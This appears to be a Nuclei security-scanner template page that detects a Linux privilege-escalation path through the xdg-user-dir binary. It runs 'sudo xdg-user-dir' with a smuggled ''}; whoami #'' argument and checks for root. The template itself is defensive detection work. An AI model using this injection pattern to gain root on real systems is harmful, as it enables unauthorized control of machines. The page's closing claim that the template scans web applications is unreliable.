xdg-user-dir - Privilege Escalation

ID: privesc-xdg-user-dir

Severity: high

Author: daffainfo

Tags: code,linux,xdg-user-dir,privesc,local

Description

The xdg-user-dir command is used to retrieve the path of a user’s special directories, such as the user’s home directory, desktop directory, download directory, and others, based on the XDG Base Directory Specification.

YAML Source

id: privesc-xdg-user-dir

info:
  name: xdg-user-dir - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    The xdg-user-dir command is used to retrieve the path of a user's special directories, such as the user's home directory, desktop directory, download directory, and others, based on the XDG Base Directory Specification.
  reference:
    - https://gtfobins.github.io/gtfobins/xdg-user-dir/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,xdg-user-dir,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      xdg-user-dir '}; whoami #'

  - engine:
      - sh
      - bash
    source: |
      sudo xdg-user-dir '}; whoami #'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a004730450220151ca80975ed86a6c6a887c74ec01711ccb7e2f7d517d7eee94694593fd602cb02210081f4495053debe3233bffe261dfbe8170832543d71bbba7988256d85ed70b614:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-xdg-user-dir.yaml"

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